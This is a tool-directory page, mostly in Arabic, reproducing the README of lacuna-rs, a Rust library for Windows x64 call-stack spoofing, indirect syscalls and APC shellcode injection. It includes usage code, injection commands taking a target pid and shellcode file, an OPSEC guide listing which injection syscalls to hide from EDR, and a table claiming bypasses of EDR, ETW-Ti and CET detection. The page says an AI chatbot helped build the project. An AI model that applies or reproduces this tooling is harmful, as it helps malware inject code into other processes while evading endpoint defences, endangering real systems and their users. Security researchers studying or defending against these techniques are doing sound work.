Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
lacuna-rs — مكتبة Rust لتزييف مكدس الاستدعاءات ghost-frame call-stack spoofing، واستدعاءات النظام غير المباشرة runtime indirect syscalls، وحقن APC على Windows x64. توفر حل SSN resolution، وإصدار كعب JIT stub emission، وتشفير المعلمات القائم على VEH-based parameter encryption لتجنب EDR evasion. | Kitploit
أدوات/GitHubGitHub/karkas66/lacuna-rs
شيل كودما بعد الاستغلالالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
GitHubkarkas66/lacuna-rs

lacuna-rs

عرض المستودع
18150منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

مكتبة Rust لتزييف مكدس الاستدعاءات ghost-frame call-stack spoofing، واستدعاءات النظام غير المباشرة runtime indirect syscalls، وحقن APC على Windows x64. توفر حل SSN resolution، وإصدار كعب JIT stub emission، وتشفير المعلمات القائم على VEH-based parameter encryption لتجنب EDR evasion.

مشاركة

lacuna-rs

Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — مُهاجَر إلى Rust.

مُهاجَر من LACUNA Chain (lacuna_chain.c) بقلم محمد الزهراني (0xmaz).

lacuna-rs هي حزمة Rust قابلة لإعادة الاستخدام توفر نفس الأدوات الأولية مثل TTP الأصلي بلغة C، منظمة بحيث يمكن إسقاطها في أي مشروع Rust — مثل wsyscall-rs أو syscalls-rs، ولكن مع حل أرقام استدعاء النظام (SSN) في وقت التشغيل، وتحديد syscall;ret لكل دالة على حدة، وتزوير مكدس الإطار الشبح.


مهم: شرط مؤشر الإطار

ميزة stack-spoof ستفشل بصمت إذا لم يتم تجميع الحزمة المستهلكة باستخدام مؤشرات الإطار.

الأدوات الأولية لدوس المكدس في chain.rs تحدد فتحة عنوان إعادة الاستدعاء الخاصة بالمتصل عبر mov rbp, {x} inline asm. وهذا يتطلب أن تكون سلسلة RBP سليمة. تقوم Rust (ومعظم المترجمات في وضع الإصدار) بإزالة مؤشرات الإطار افتراضيًا.

build.rs يضبط force-frame-pointers=yes لتوليد الشيفرة الخاص بهذه الحزمة، لكن Cargo لا يستطيع نشر علامات المترجم إلى الحزم النهائية downstream. يجب عليك إضافة هذا إلى مشروعك الخاص:

root@kitploit:~
# .cargo/config.toml  (في حزمتك الخاصة، وليس في lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

بدون هذا، سيعمل stomp_plant() على قراءة بيانات عشوائية من RBP وسيفشل (في أفضل الحالات) أو سيسبب تلفًا في المكدس (في أسوأ الحالات). لا يوجد طريقة للحزمة لاكتشاف في وقت التشغيل ما إذا كانت مؤشرات الإطار مفعلة — فهي ببساطة لن تعمل.

إذا كنت تحتاج فقط إلى أدوات المسح أو حل SSN أو الحقن (بدون تزوير المكدس)، يمكنك استبعاد ميزة stack-spoof وهذه المتطلبات لا تنطبق.


ماذا تفعل الحزمة


علامات الميزات

root@kitploit:~
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }

عندما لا يتم تمكين أي ميزات، تكون فقط طبقات المسح/PE/NT متاحة.


بداية سريعة

مسح المناطق الشبح

root@kitploit:~
cargo run --example scan

بناء والتحقق من سلسلة الإطار الشبح

root@kitploit:~
cargo run --example verify --features stack-spoof

حقن شيلكود عبر المقطع + APC

دليل الحقن مثال على الحقن مع إمبلانت حقيقي - C2 كان غير متصل لكن الشيلكود نُفّذ

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

أضف --verbose لتفعيل مخرجات VEH التشخيصية (تفريغات المكدس، طباعة المسجلات):

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

خوارزمية تسجيل الخيوط

بدلاً من وضع APCs لكل خيط في العملية المستهدفة (والذي يمكن أن يتسبب في تعطل العملية عند تنبيه عدد كبير من الخيوط في وقت واحد)، تستخدم inject_sapc خوارزمية تسجيل لاختيار أفضل MAX_APC_THREADS (5) مرشحين:

  • زمن الدورة — NtQueryInformationThread(ThreadCycleTime) — مؤشر النشاط الرئيسي
  • زمن CPU — NtQueryInformationThread(ThreadTimes) — وقت النواة + وقت المستخدم
  • عدد التعليق — NtQueryInformationThread(ThreadSuspendCount) — الخيوط غير المعلقة تحصل على مكافأة +300؛ الخيوط المعلقة تحصل على عقوبة -150 لكل تعليق
  • الأولوية — NtQueryInformationThread(ThreadBasicInformation) — الخيوط ذات الأولوية 8-10 تحصل على مكافأة +150؛ الأولويات خارج النطاق تحصل على عقوبة -100

الخيوط الخاملة تمامًا (بدون دورات وبدون وقت CPU) تُتجاوز تمامًا. يتم فرز المرشحين المتبقين حسب النتيجة (الأعلى أولاً، كسر التعادل بالدورات) ويتم اقتطاعهم إلى أعلى 5.


الاستخدام كمكتبة

أساسي: مسح + حل SSN

root@kitploit:~
use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// مسح المناطق الشبح
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} منطقة شبح في ntdll", n);

// حل SSN + syscall;ret لدالة معينة
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

إصدار كعب استدعاء غير مباشر لأي API NT

root@kitploit:~
use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// حل SSN + عنوان syscall;ret الخاص بالدالة
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// إصدار كعب JIT: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (أو jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret إذا تم استدعاء build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("فشل تخصيص الكعب");

// تحويل الكعب إلى نوع مؤشر الدالة المناسب واستدعائها
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

بناء سلسلة الإطار الشبح + تسجيل VEH

root@kitploit:~
// مسح ntdll/kernelbase/wow64/win32u للمناطق الشبح وبناء
// مكدس الاستدعاءات المزيف المكون من ست طبقات. يتم تعيين G_GHOST_GADGET
// بحيث تمر الكعوب عبر JMP [RBX] في DLL موقّع.
lacuna::chain::build_chain();

// تسجيل معالجات VEH (تشفير المعاملات + الحارس)
let _veh = lacuna::veh::VehGuard::register().expect("فشل تسجيل VEH");

// اختياري: تفعيل التشخيص التفصيلي أثناء التشغيل
lacuna::veh::set_verbose(true);

تغليف استدعاء نظام حساس مع تزوير المكدس وتشفير المعاملات

root@kitploit:~
use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// زرع إطارات شبح (يستبدل عناوين الإرجاع بأشباح من DLL موقّع)
lacuna::chain::stomp_plant();

// تسليح DR0 على syscall;ret -- سيقوم VEH بفك تشفير المعاملات عند الحدود
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// الاستدعاء عبر الكعب غير المباشر -- يهبط RIP داخل ntdll عند مدخل النواة
let _status = unsafe { open_proc(/* معاملات مشفرة XOR */) };

// يجب دائمًا نزع السلاح قبل أي استدعاء غير محمي
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC: ما الذي يجب إخفاؤه خلف الإطارات الشبح

ليست كل استدعاءات API تحتاج إلى معالجة LACUNA الكاملة. المبدأ الرئيسي هو: إخفاء الاستدعاءات التي قد يقوم برنامج EDR بربطها بنشاط حقن أو استغلال لاحق.

يجب أن تكون خلف استدعاءات نظام غير مباشرة + إطارات شبح + تشفير المعاملات

هذه هي استدعاءات النظام NT "الجوهرة" التي يقوم EDR بالتوصيل بها وربطها:

لكل من هذه:

  1. حل باستخدام nt::resolve(ntdll, b"NtXxx\0")
  2. أصدر كعبًا باستخدام stub::make_stub(ssn, syscall_ret)
  3. قم بتشفير المعاملات الحساسة باستخدام veh::pcrypt_arm(key, syscall_ret, true)
  4. لف الاستدعاء بين chain::stomp_plant() و chain::stomp_restore()

يمكن أن تكون مباشرة (لا حاجة لإطارات شبح)

مبادئ رئيسية

  1. حل أي استدعاء نظام NT باستخدام nt::resolve(ntdll, b"NtXxx\0") — يعيد (SSN, syscall_ret_VA).
  2. أصدر كعب JIT باستخدام stub::make_stub(ssn, syscall_ret) — يعيد مؤشر دالة قابل للاستدعاء.
  3. حوّل الكعب إلى نوع extern "system" fn(...) المناسب عبر core::mem::transmute.
  4. (للاستدعاءات الحساسة فقط) ابنِ سلسلة الإطار الشبح باستخدام chain::build_chain() واستدعِ chain::stomp_plant() / chain::stomp_restore() حول الاستدعاء.
  5. (للاستدعاءات الحساسة فقط) سلّح تشفير المعاملات باستخدام veh::pcrypt_arm(key, syscall_ret, true) قبل الاستدعاء، و veh::pcrypt_disarm() بعده.
  6. دائمًا انزع السلاح من VEH قبل القيام باستدعاءات غير محمية — ضربة DR0 عشوائية على استدعاء غير مسلّح ستتسبب في تعطل.
  7. يجب لف جميع سلاسل الإخراج في lc!() — الحزمة تفرض ذلك، والتشخيصات الخاصة بـ VEH محصورة خلف التي تكون معطلة افتراضيًا.

الكعب يتعامل مع تسلسل mov r10, rcx / mov eax, SSN / jmp [syscall;ret] تلقائيًا. إذا تم تسجيل أداة شبح، يمر الكعب عبر JMP [RBX] لإعادة توجيه التنفيذ ثنائي الاستخدام + إطار جسر بدون أثر.


تغطية التحقق من المقال

جميع المساهمات الرئيسية التسع من مقال LACUNA Chain ممثلة في الشيفرة:

تغطية سطح الكشف


لماذا لا تستخدم ببساطة syscalls-rs؟

syscalls-rs و wsyscall-rs يولدان جدول SSN في وقت البناء من ntdll لإصدار Windows محدد. إذا كان الجهاز المستهدف يعمل بإصدار مختلف، فإن SSNs تكون خاطئة وتفشل استدعاءات النظام (أو تثير استدلالات EDR).

lacuna-rs يحل SSNs في وقت التشغيل عن طريق قراءة كعوب ntdll مباشرةً، ويستهدف تعليمة syscall;ret الخاصة بالدالة بحيث يكون RIP داخل ntdll عند مدخل النواة — مما يتجاوز استدلالات EDR لـ "عدم تطابق SSN" و"استدعاء نظام غير مباشر من ذاكرة غير مدعومة".

بالإضافة إلى ذلك، توفر lacuna-rs سلسلة تزوير مكدس الإطار الشبح التي لا توفرها syscalls-rs.


متطلبات البناء

  • الهدف: x86_64-pc-windows-msvc (أو x86_64-pc-windows-gnu)
  • إصدار Rust: 2021
  • التبعيات: litcrypt2 (تعتيم السلاسل في وقت التجميع)

إعداد مؤشر الإطار (لـ stack-spoof فقط)

ميزة stack-spoof تتطلب مؤشرات إطار. build.rs يضبط force-frame-pointers=yes تلقائيًا لهذه الحزمة، لكن الحزم المستهلكة يجب أيضًا أن تضبطه في .cargo/config.toml الخاص بها:

root@kitploit:~
# .cargo/config.toml (في الحزمة المستهلكة)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

تعتيم السلاسل باستخدام litcrypt2

جميع القيم الحرفية للسلسلة في الحزمة والأمثلة ملفوفة في ماكرو lc!()، الذي يقوم بتشفيرها في وقت التجميع وفك تشفيرها في وقت التشغيل. مفتاح التشفير يُقرأ من متغير البيئة LITCRYPT_ENCRYPT_KEY؛ إذا لم يُضبط، يقوم litcrypt2 بإنشاء مفتاح عشوائي تلقائيًا.

لتثبيت مفتاح لبناءات قابلة للتكرار:

root@kitploit:~
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build

البنية

root@kitploit:~
lacuna-rs/
├── Cargo.toml
├── build.rs              # ضبط force-frame-pointers لـ stack-spoof
├── src/
│   ├── lib.rs            # جذر الحزمة + إعادة التصدير + scan_all() + إعداد litcrypt2
│   ├── win.rs            # روابط FFI لـ Win32/NT (متوافقة مع no_std)
│   ├── pe.rs             # تحليل مقاطع PE وتصديراته
│   ├── scan.rs           # مسح منطقة الشبح .pdata + الأدوات
│   ├── nt.rs             # حل SSN + توجيه syscall;ret
│   ├── stub.rs           # إصدار كعب استدعاء نظام غير مباشر JIT
│   ├── veh.rs            # VEH + تشفير المعاملات بنقطة توقف عتادية
│   ├── chain.rs          # سلسلة الإطار الشبح LACUNA + الدوس
│   └── inject.rs         # حقن APC عبر المقطع
├── examples/
│   ├── scan.rs           # lacuna.exe scan
│   ├── verify.rs         # lacuna.exe verify
│   └── inject.rs         # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
    └── config.toml       # force-frame-pointers + target windows-msvc

الإسناد

  • البحث الأصلي وتنفيذ C: محمد الزهراني (0xmaz) — LACUNA Chain
  • التقنية: الإطارات الشبح: تزوير مكدسات استدعاء معقولة من فجوات .pdata
  • منطق العثور على أفضل خيط APC: مقتبس من FrankensteinAPCInjection بواسطة S12cybersecurity
  • تعتيم السلاسل: litcrypt2 v0.1.3

الإفصاح الكامل

هذا المشروع تمت مساعدته بنشاط بواسطة chatbot ذكاء اصطناعي. أتيحت لي فرصة اختبار نموذج مفتوح المصدر جديد وقوي جدًا (GLM-5.2 بواسطة Z.ai (Zhipu AI)) وأردت تكليفه بمهمة صعبة. الدروس المستفادة: عمل بشكل جيد عندما يعرف الإنسان كيف يجب أن تبدو النتائج. إن لم يكن كذلك... فقط هراء

الترخيص

MIT

تنزيل الأداة
أداة أوليةدالة Cوحدة Rust
تحليل مقاطع PE وتصديراتهpe_section()، pe_export()pe
مسح منطقة الشبح .pdatascan_ghosts()، best_ghost()scan
اكتشاف أدوات الشبح (jmp [rbx])scan_ghost_gadgets()scan
إيجاد فجوة NOP في win32uwin32u_nop_gap()scan
إيجاد مرساة BYOUD-MFfind_mf_target()scan
حل SSN (Hell’s Gate / Halo’s Gate)resolve_ssn()nt
مُحدّد syscall;ret الخاص بكل دالةfind_func_syscall()nt
إصدار كعب استدعاء غير مباشر JITalloc_stub()stub
إعادة توجيه كعب استدعاء أداة الشبح(في alloc_stub())stub
تشفير المعاملات بواسطة VEH + نقاط التوقف العتاديةparam_encrypt_veh()، pcrypt_arm()veh
حارس سلسلة VEHchain_veh()veh
بناء سلسلة LACUNAbuild_chain()chain
دوس المكدس (BYOUD-RT)stomp_plant()، stomp_restore()chain
متجّول السلسلة (تحقق)lacuna_walk_chain()chain
حقن APC عبر المقطعdo_inject_sapc()inject
ميزةوصفهل يتطلب مؤشرات إطار؟
syscalls (افتراضي)حل SSN + إصدار كعب استدعاء JITلا
inject (افتراضي)حقن APC عبر المقطع (inject::inject_sapc)لا
vehVEH + تشفير المعاملات بنقطة توقف عتاديةلا
stack-spoofسلسلة الإطار الشبح LACUNA + دوس المكدسنعم
no-stdوضع no_std (تجريبي)لا
استدعاءلماذا هو حساس
NtOpenProcessيفتح مقبضًا لعملية أخرى — الخطوة الأولى في الحقن
NtCreateSection + NtMapViewOfSection (عن بُعد)توقيع الحقن عبر المقطع
NtWriteVirtualMemoryكتابة عبر العمليات — مؤشر حقن تقليدي
NtCreateThreadExإنشاء خيط بعيد — أعلى أداة حقن إشارة
NtQueueApcThreadحقن APC — إشارة عالية
NtProtectVirtualMemoryتغييرات صلاحيات RWX — مؤشر تنظيم الشيلكود
NtAllocateVirtualMemory (عن بُعد)تخصيص عن بُعد — مقدمة الحقن
NtSetInformationThreadإخفاء الخيط (HideFromDebugger) — مؤشر مراوغة
استدعاءلماذا هو آمن
NtQueryInformationThreadاستعلام فقط، نادرًا ما يتم توصيله، لا كتابة عبر العمليات
NtDelayExecutionنوم — غير ضار، تستخدمه كل التطبيقات
NtCloseإغلاق مقبض — غير ضار، شائع جدًا
GetModuleHandleA / GetProcAddressحل الوحدة — ليس استدعاء نظام، لا يمكن لـ EDR توصيله في مساحة المستخدم
CreateToolhelp32Snapshot / Thread32First / Thread32Nextتعداد الخيوط — kernel32، ليس استدعاء ntdll
OpenThread / CloseHandleعمليات مقبض قياسية — kernel32
GetThreadContext / SetThreadContextضروري لـ DR0 — kernel32، العملية الخاصة فقط
set_verbose(true)
#مفهوم المقالموقع الشيفرةوصف
1BYOUD-Gap (تعديل .pdata صفري)chain.rs — بناء سلسلة الإطار الشبحيستغل الفجوات بين مدخلات RUNTIME_FUNCTION؛ المعالج اللولبي يعاملها كإطارات ورقة (RSP += 8)
2هجوم نافذة APC لـ ETW-Tiinject.rs — تصريف NtDelayExecution القابل للتنبيهيتحكم في وقت تشغيل لقطة مكدس APC لـ ETW-Ti عن طريق معالجة حالة تنبيه الخيط
3تشفير المعاملات في سياق BYOUDveh.rs — pcrypt_arm()، param_encrypt_veh()تشفير معاملات syscall بـ XOR في مرحلة التحضير؛ فك التشفير داخل VEH بنقطة توقف عتادية عند تعليمة syscall
4سلسلة فجوات NOP في win32u + أداة الشبحscan.rs — win32u_nop_gap()، scan_ghost_gadgets()1,242 فجوة NOP في win32u.dll توفر إطارات ورقية مدرجة في القائمة البيضاء؛ أداة الشبح JMP [RBX] في ntdll+0xFC47B
5القرب الدلالي للشبح في kernelbasechain.rs — طبقة L2_kbase بالقرب من VirtualProtectشبح بطول 238 بايت ينتهي عند نقطة دخول VirtualProtect — لا يمكن تمييزه عن موقع إرجاع VP حقيقي
6BYOUD-MF (نقل RSP لإطار الآلة)chain.rs — هيكل MachFrame، scan.rs — find_mf_target()يستغل UWOP_PUSH_MACHFRAME (رمز التشغيل 10) في موزعات KiUser* لنقل RSP عشوائي في إطار واحد
7BYOUD-RT (حساب RSP في وقت التشغيل)chain.rs — teb_stack_base()، teb_stack_limit()يقرأ TEB.StackBase (GS:[0x08]) في وقت الاستدعاء لحساب المسافة الدقيقة للإطار — لا حاجة للمعايرة المسبقة
8قرب شبح wow64.dllchain.rs — طبقة L1_wow64، scan.rs — يستهدف Wow64PrepareForExceptionشبح بطول 91 بايت ينتهي عند مدخل Wow64PrepareForException — الطبقة الدلالية الرابعة للسلسلة
9سلسلة LACUNA ذات الست طبقاتchain.rs — هيكل LacunaStack (L1-L5 + MachFrame)السلسلة الكاملة: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart
طبقة الكشفالحالةالتنفيذ
فحص الوحدة الأصليةتم التجاوزجميع الإطارات في ntdll / kernelbase / wow64 / win32u
صحة المشي اللولبيتم التجاوزجميع إطارات lacuna هي أوراق -> RSP+8 صالح
مسح .pdata الجنائيتم التجاوزتعديل صفري؛ الفجوات موجودة مسبقًا
مكدس الظل CETتم التجاوزسلسلة أوراق خالصة؛ مكدس الظل لا يُستشار
تحليل الإطارات الدلاليتم التجاوزاستثناء WoW64 + جوار VirtualProtect
استثناء قاعدة win32uتم التجاوزالطبقة 4 مستبعدة صراحةً بواسطة جميع القواعد
ETW-Ti STACKWALKتم التجاوزهجوم نافذة APC يتحكم في توقيت اللقطة
فحص المعاملاتتم التجاوزفك تشفير VEH بنقطة توقف عتادية
ردود نداء النواةجزئيعمليات المقبض لا تزال تشعل ObRegisterCallbacks